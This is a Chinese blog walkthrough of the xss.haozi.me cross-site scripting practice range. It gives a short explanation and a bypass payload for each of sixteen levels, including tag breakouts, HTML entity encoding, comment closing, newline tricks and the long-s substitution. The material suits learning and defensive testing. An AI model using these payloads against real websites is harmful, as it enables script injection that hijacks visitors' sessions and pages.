XSS靶场中级绕过

XSS靶场中级绕过解析

靶场环境—https://xss.haozi.me/
第一关:
div块是普通元素,直接写入< script >标签即可。

<script>alert(1)</script>或者<img src=1 onerror=alert(1)>或者<svg/onload=alert(1)>

在这里插入图片描述
第二关:
逃脱< textarea>标签,直接闭合。

</textarea><script>alert(1)</script></textarea>

在这里插入图片描述
第三关:
逃出双引号,闭合input。

a"><script>alert(1)</script>

在这里插入图片描述
第四关:
已经过滤了括号,所以利用mtml实体编码,编译成()。

<img src=1 onerror="alert&#40;1&#41;">

在这里插入图片描述
第五关:
过滤了括号,反引号,尖括号,还是利用html实体编码。

<img src=1 onerror="alert&#40;1&#41;">

在这里插入图片描述
第六关:
转化成笑脸,利用注释符,直接闭合。

--!><script>alert(1)</script><!--

在这里插入图片描述
第七关:
换行,然后进行过滤

type = "image" src=1 onerror
=alert(1)

在这里插入图片描述
第八关:
过滤了反斜杠,尖括号,标签不生效。img标签可以执行,但是不能补全标签,html会丢错。

<img src ="1" onerror="alert(1)"

在这里插入图片描述
第九关:
输出在< style>里面,只能出现文本,不能写js ,闭合< style>也不行。利用换行闭合。

</style
><script>alert(1)</script>

在这里插入图片描述
第十关:
以https://www.segmentfault.com开头,将script标签闭合。

https://www.segmentfault.com"></script><script>alert(1)//

在这里插入图片描述
第十一关:
在这里插入图片描述
还是以https://www.segmentfault.com"开头。利用重定向,新建一个txrt文件,写入alert(1)。

https://www.segmentfault.com@127.0.0.1/txrt.js

第十二关:
将所有字母转化为大写。利用实体编码,将所有字母转换为16进制。

<img src=1 onerror=" &#97;&#108;&#101;&#114;&#116;(1)">

在这里插入图片描述
第十三关:
转换成大写还过滤了script标签。

<img src=1 onerror=" &#97;&#108;&#101;&#114;&#116;(1)">

在这里插入图片描述
第十四关:
注释了所有的内容,还是利用了注释符。


alert(1)
-->

在这里插入图片描述
第十五关:
利用是“s”可以转化为“ſ”。

<ſcript src = "http://127.0.0.1/txrt.js"</script>或者
<ſvg/onload=&#97;&#108;&#101;&#114;&#116;(1)>

在这里插入图片描述
第十六关:
将内容转成实体编码,但是可以生效。html认识。

aa');alert(1)//

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值